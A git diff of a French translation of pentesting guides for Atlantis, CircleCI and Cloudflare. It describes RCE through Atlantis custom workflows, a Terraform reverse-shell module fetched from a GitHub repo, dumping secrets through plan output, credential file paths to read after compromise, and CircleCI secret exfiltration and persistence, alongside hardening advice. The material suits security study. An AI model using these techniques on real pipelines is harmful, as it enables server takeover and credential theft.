+Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git.
.png>)
-### Local Lab
+### Laboratoire local
1. Allez sur la **page des versions d'atlantis** à [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) et **téléchargez** celle qui vous convient.
-2. Créez un **jeton personnel** (avec accès au repo) de votre utilisateur **github**
-3. Exécutez `./atlantis testdrive` et cela créera un **repo de démon** que vous pouvez utiliser pour **communiquer avec atlantis**
-1. Vous pouvez accéder à la page web à 127.0.0.1:4141
+2. Créez un **jeton personnel** (avec accès au dépôt) de votre utilisateur **github**.
+3. Exécutez `./atlantis testdrive` et cela créera un **dépôt de démonstration** que vous pouvez utiliser pour **communiquer avec atlantis**.
+1. Vous pouvez accéder à la page web à 127.0.0.1:4141.
-### Atlantis Access
+### Accès à Atlantis
-#### Git Server Credentials
+#### Identifiants du serveur Git
**Atlantis** prend en charge plusieurs hôtes git tels que **Github**, **Gitlab**, **Bitbucket** et **Azure DevOps**.\
-Cependant, pour accéder aux repos sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des permissions d'écriture).\
+Cependant, pour accéder aux dépôts sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des autorisations d'écriture).\
[**La documentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.
> [!WARNING]
@@ -28,66 +28,66 @@ Cependant, pour accéder aux repos sur ces plateformes et effectuer des actions,
#### Webhooks
-Atlantis utilise optionnellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**.
+Atlantis utilise éventuellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**.
-Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une façon plus simple est d'utiliser un Webhook Secret.
+Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une manière plus simple est d'utiliser un Webhook Secret.
Notez que, à moins que vous n'utilisiez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison webhook à Internet.
> [!WARNING]
> Atlantis va **exposer des webhooks** afin que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir **si vous pouvez lui envoyer des messages**.
-#### Provider Credentials
+#### Identifiants du fournisseur
[De la documentation :](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin de credentials pour votre fournisseur spécifique.
+Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin d'identifiants pour votre fournisseur spécifique.
-C'est à vous de [fournir des credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis :
+C'est à vous de [fournir des identifiants](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis :
-- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les credentials du fournisseur. Lisez leur documentation.
-- Si vous exécutez Atlantis dans le cloud, alors de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, ex :
-- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role")
-- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- De nombreux utilisateurs définissent des variables d'environnement, ex. `AWS_ACCESS_KEY`, où Atlantis est exécuté.
-- D'autres créent les fichiers de configuration nécessaires, ex. `~/.aws/credentials`, où Atlantis est exécuté.
-- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des credentials de fournisseur.
+- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les identifiants du fournisseur. Lisez leur documentation.
+- Si vous exécutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, par exemple :
+- [Rôles AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role")
+- [Comptes de service d'instance GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- De nombreux utilisateurs définissent des variables d'environnement, par exemple `AWS_ACCESS_KEY`, là où Atlantis est exécuté.
+- D'autres créent les fichiers de configuration nécessaires, par exemple `~/.aws/credentials`, là où Atlantis est exécuté.
+- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des identifiants de fournisseur.
> [!WARNING]
-> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **credentials privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform.
+> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **identifiants privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform.
-#### Web Page
+#### Page Web
-Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des repos et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile).
+Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des dépôts et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile).
-Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucune credential n'est nécessaire** pour y accéder (et si elles le sont, `atlantis`:`atlantis` sont les **valeurs par défaut**).
+Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucun identifiant n'est nécessaire** pour y accéder (et s'ils le sont, `atlantis`:`atlantis` sont les **identifiants par défaut**).
-### Server Configuration
+### Configuration du serveur
-La configuration pour `atlantis server` peut être spécifiée via des flags de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois.
+La configuration de `atlantis server` peut être spécifiée via des options de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois.
-- Vous pouvez trouver [**ici la liste des flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) pris en charge par le serveur Atlantis
-- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Vous pouvez trouver [**ici la liste des options**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) prises en charge par le serveur Atlantis.
+- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
Les valeurs sont **choisies dans cet ordre** :
-1. Flags
+1. Options
2. Variables d'environnement
3. Fichier de configuration
> [!WARNING]
-> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **tokens et mots de passe**.
+> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **jetons et mots de passe**.
-#### Repos Configuration
+#### Configuration des dépôts
-Certaines configurations affectent **comment les repos sont gérés**. Cependant, il est possible que **chaque repo nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque repo. Voici l'ordre de priorité :
+Certaines configurations affectent **la manière dont les dépôts sont gérés**. Cependant, il est possible que **chaque dépôt nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque dépôt. Voici l'ordre de priorité :
-1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le repo. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certains flags permettant cela.
-1. Probablement requis d'être autorisé par des flags comme `allowed_overrides` ou `allow_custom_workflows`
-2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec le flag `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque repo (regex pris en charge)
-3. Valeurs **par défaut**
+1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le dépôt. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certaines options permettant cela.
+1. Probablement requis d'être autorisé par des options comme `allowed_overrides` ou `allow_custom_workflows`.
+2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec l'option `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque dépôt (regex pris en charge).
+3. Valeurs **par défaut**.
-**PR Protections**
+**Protections PR**
Atlantis permet d'indiquer si vous souhaitez que le **PR** soit **`approuvé`** par quelqu'un d'autre (même si cela n'est pas défini dans la protection de branche) et/ou soit **`fusionnable`** (protections de branche passées) **avant d'exécuter apply**. D'un point de vue sécurité, il est recommandé de définir les deux options.
@@ -95,18 +95,18 @@ Dans le cas où `allowed_overrides` est True, ces paramètres peuvent être **é
**Scripts**
-La configuration du repo peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.**
+La configuration du dépôt peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.**
-Il n'y a aucune option pour permettre de **spécifier** ces scripts dans le **fichier repo `/atlantis.yml`**.
+Il n'y a aucune option pour **spécifier** ces scripts dans le **fichier `/atlantis.yml`** du dépôt.
**Workflow**
-Dans la configuration du repo (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **repos** peuvent **accéder** aux **nouveaux** générés.\
-Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque repo de **spécifier le workflow à utiliser.**
+Dans la configuration du dépôt (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **dépôts** peuvent **accéder** aux **nouveaux** générés.\
+Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque dépôt de **spécifier le workflow à utiliser.**
> [!CAUTION]
-> Si le flag [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le **fichier `atlantis.yaml`** de chaque repo. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\
-> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce repo**.
+> Si l'option [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est définie sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\
+> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
>
> ```yaml
> # atlantis.yaml
@@ -124,18 +124,18 @@ Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque repo de **
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Vérification de la politique Conftest**
Atlantis prend en charge l'exécution de **politiques** [**conftest**](https://www.conftest.dev/) **côté serveur** contre la sortie du plan. Les cas d'utilisation courants pour cette étape incluent :
-- Interdire l'utilisation d'une liste de modules
-- Affirmer les attributs d'une ressource au moment de sa création
-- Détecter les suppressions de ressources non intentionnelles
-- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public)
+- Interdire l'utilisation d'une liste de modules.
+- Affirmer les attributs d'une ressource au moment de sa création.
+- Détecter les suppressions de ressources non intentionnelles.
+- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public).
Vous pouvez vérifier comment le configurer dans [**la documentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
-### Atlantis Commands
+### Commandes Atlantis
[**Dans la documentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :
```bash
@@ -195,7 +195,7 @@ Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terra
- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Au lieu** de créer une **PR vers master** pour déclencher Atlantis, **créez 2 branches** (test1 et test2) et créez une **PR de l'une à l'autre**. Lorsque vous avez terminé l'attaque, il vous suffit de **supprimer la PR et les branches**.
-#### Atlantis plan Secrets Dump
+#### Dump des secrets du plan Atlantis
Vous pouvez **dumper les secrets utilisés par terraform** en exécutant `atlantis plan` (`terraform plan`) en mettant quelque chose comme ceci dans le fichier terraform :
```json
@@ -203,13 +203,13 @@ output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-#### Atlantis apply RCE - Modification de configuration dans une nouvelle PR
+#### Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR
Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis apply`, vous pourrez RCE à l'intérieur du serveur Atlantis**.
Cependant, vous devrez généralement contourner certaines protections :
-- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est fusionnable** (ce qui signifie que la protection de branche doit être contournée).
+- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est mergeable** (ce qui signifie que la protection de branche doit être contournée).
- Vérifiez les [**contournements potentiels des protections de branche**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approuvé** : Si cette protection est définie dans Atlantis, un **autre utilisateur doit approuver la PR** avant que vous puissiez exécuter `atlantis apply`
- Par défaut, vous pouvez abuser du [**token Gitbot pour contourner cette protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Quelque chose que vous pouvez passer sont des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Vous pouvez passer des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Workflow personnalisé
@@ -253,7 +253,7 @@ Cette possibilité a été mentionnée dans une section précédente :
> [!CAUTION]
> Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **remplacer le workflow** qui va être utilisé.
>
-> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce dépôt**.
+> Cela donnera essentiellement **RCE sur le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
>
> ```yaml
> # atlantis.yaml
@@ -282,11 +282,11 @@ apply_requirements: []
```
#### PR Hijacking
-Si quelqu'un envoie des **commentaires `atlantis plan/apply` sur vos pull requests valides,** cela fera exécuter terraform quand vous ne le souhaitez pas.
+Si quelqu'un envoie des **`atlantis plan/apply` commentaires sur vos pull requests valides,** cela fera en sorte que terraform s'exécute quand vous ne le souhaitez pas.
-De plus, si vous n'avez pas configuré dans la **protection de branche** de demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE.
+De plus, si vous n'avez pas configuré dans la **protection de branche** pour demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE.
-C'est le **paramètre** dans les protections de branche de Github :
+C'est le **paramètre** dans les protections de branche Github :
.png>)
@@ -296,7 +296,7 @@ Si vous parvenez à **voler le webhook secret** utilisé ou s'il **n'y a pas de
#### Bitbucket
-Bitbucket Cloud **ne prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket.
+Bitbucket Cloud ne **prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket.
- Cela signifie qu'un **attaquant** pourrait faire des **requêtes falsifiées à Atlantis** qui semblent provenir de Bitbucket.
- Si vous spécifiez `--repo-allowlist`, alors ils ne pourraient falsifier que des requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts.
@@ -308,7 +308,7 @@ Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y
- `/home/atlantis/.git-credentials` Contient les identifiants d'accès vcs
- `/atlantis-data/atlantis.db` Contient les identifiants d'accès vcs avec plus d'infos
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Fichier d'état Terraform
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Fichier d'état terraform
- Exemple : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Variables d'environnement
- `/proc/[2-20]/cmdline` Ligne de commande de `atlantis server` (peut contenir des données sensibles)
@@ -336,19 +336,19 @@ Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des
#### Protect Terraform Planning
-Si les attaquants soumettant des pull requests avec du code Terraform malveillant sont dans votre modèle de menace, alors vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.
+Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modèle de menace, vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.
Pour éviter cela, vous pourriez :
1. Intégrer les fournisseurs dans l'image Atlantis ou héberger et refuser l'egress en production.
-2. Implémenter le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre.
-3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici.
+2. Mettre en œuvre le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre.
+3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs provenant d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici.
#### Webhook Secrets
Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Même avec le drapeau `--repo-allowlist` défini, sans un webhook secret, les attaquants pourraient faire des requêtes à Atlantis en se faisant passer pour un dépôt qui est sur la liste blanche. Les secrets de webhook garantissent que les requêtes webhook proviennent réellement de votre fournisseur VCS (GitHub ou GitLab).
-Si vous utilisez Azure DevOps, au lieu de secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.
+Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.
#### Azure DevOps Basic Authentication
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index dd8af1828..02fbe2151 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,8 +1,8 @@
-# CircleCI Security
+# CircleCI Sécurité
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Informations de base
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) est une plateforme d'intégration continue où vous pouvez **définir des modèles** indiquant ce que vous voulez qu'elle fasse avec du code et quand le faire. De cette manière, vous pouvez **automatiser les tests** ou **les déploiements** directement **à partir de la branche principale de votre dépôt**, par exemple.
@@ -13,17 +13,17 @@ Dans mes tests, j'ai vérifié que tant que vous avez **des permissions d'écrit
Cependant, vous devez être un **administrateur de dépôt** pour **convertir le dépôt en projet CircleCI**.
-### Env Variables & Secrets
+### Variables d'environnement & Secrets
Selon [**la documentation**](https://circleci.com/docs/2.0/env-vars/), il existe différentes manières de **charger des valeurs dans des variables d'environnement** à l'intérieur d'un workflow.
-#### Built-in env variables
+#### Variables d'environnement intégrées
Chaque conteneur exécuté par CircleCI aura toujours [**des variables d'environnement spécifiques définies dans la documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) comme `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
-#### Clear text
+#### Texte clair
-Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande**:
+Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande** :
```yaml
- run:
name: "set and echo"
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
-Vous pouvez les déclarer en texte clair à l'intérieur de **l'environnement d'un conteneur** :
+Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'un conteneur** :
```yaml
jobs:
build-job:
@@ -75,7 +75,7 @@ Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut,
> [!TIP]
> Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être **sélectionné pour donner accès aux secrets à des personnes spécifiques**.\
-> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais juste à certaines personnes.
+> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais seulement à certaines personnes.
### Attaques
@@ -83,14 +83,14 @@ Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut,
Si vous avez **accès au VCS** (comme github), vérifiez le fichier `.circleci/config.yml` de **chaque repo sur chaque branche** et **recherchez** des **secrets en texte clair** potentiels stockés là.
-#### Énumération des Variables Env Secrets & Contextes
+#### Énumération des Variables Env Secrètes & Contextes
En vérifiant le code, vous pouvez trouver **tous les noms de secrets** qui sont **utilisés** dans chaque fichier `.circleci/config.yml`. Vous pouvez également obtenir les **noms de contexte** à partir de ces fichiers ou les vérifier dans la console web : _https://app.circleci.com/settings/organization/github/\/contexts_.
#### Exfiltrer les Secrets de Projet
> [!WARNING]
-> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **avez juste** besoin d'avoir un accès **ÉCRIT** à **juste 1 repo** dans toute l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_).
+> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **devez juste** avoir un accès **ÉCRIT** à **juste 1 repo** dans l'ensemble de l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_).
> [!CAUTION]
> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci. Par conséquent, un attaquant pourrait **importer toutes les variables de projet de tous les repos** et ensuite **exfiltrer toutes ensemble**.
@@ -192,14 +192,14 @@ jobs:
context: Test-Context
```
> [!WARNING]
-> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher un build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**.
+> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher une build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**.
#### Échapper vers le Cloud
-**CircleCI** vous donne l'option d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\
-Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes dessus**.
+**CircleCI** vous offre la possibilité d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\
+Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes**.
-Remarquez que dans les exemples précédents, tout était lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) :
+Remarquez que dans les exemples précédents, tout a été lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) :
```yaml
jobs:
exfil-env:
@@ -228,7 +228,7 @@ version: 19.03.13
- Il est possible d'**ajouter des clés SSH** aux projets.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
- Il est possible de **créer un cron job dans une branche cachée** dans un projet inattendu qui **fuit** toutes les **variables d'environnement contextuelles** chaque jour.
-- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les contextes et les **secrets des projets** chaque jour.
+- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les secrets de contexte et de **projets** chaque jour.
- Si vous êtes propriétaire d'un github, vous pouvez **autoriser des orbes non vérifiés** et en configurer un dans un job comme **porte dérobée**.
- Vous pouvez trouver une **vulnérabilité d'injection de commande** dans certaines tâches et **injecter des commandes** via un **secret** en modifiant sa valeur.
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 342c6c434..6b9f047aa 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,12 +1,12 @@
-# Cloudflare Security
+# Sécurité Cloudflare
{{#include ../../banners/hacktricks-training.md}}
-Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres de sécurité liés à chaque section :**
+Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
-## Websites
+## Sites Web
Examinez chacun avec :
@@ -14,9 +14,9 @@ Examinez chacun avec :
cloudflare-domains.md
{{#endref}}
-### Domain Registration
+### Enregistrement de domaine
-- [ ] Dans **`Transfer Domains`**, vérifiez qu'il n'est pas possible de transférer un domaine.
+- [ ] Dans **`Transférer des domaines`**, vérifiez qu'il n'est pas possible de transférer un domaine.
Examinez chacun avec :
@@ -24,7 +24,7 @@ Examinez chacun avec :
cloudflare-domains.md
{{#endref}}
-## Analytics
+## Analytique
_Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration._
@@ -32,12 +32,12 @@ _Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration
Sur chaque page de Cloudflare :
-- [ ] Vérifiez les **informations sensibles** dans le **`Build log`**.
+- [ ] Vérifiez les **informations sensibles** dans le **`Journal de construction`**.
- [ ] Vérifiez les **informations sensibles** dans le **dépôt Github** assigné aux pages.
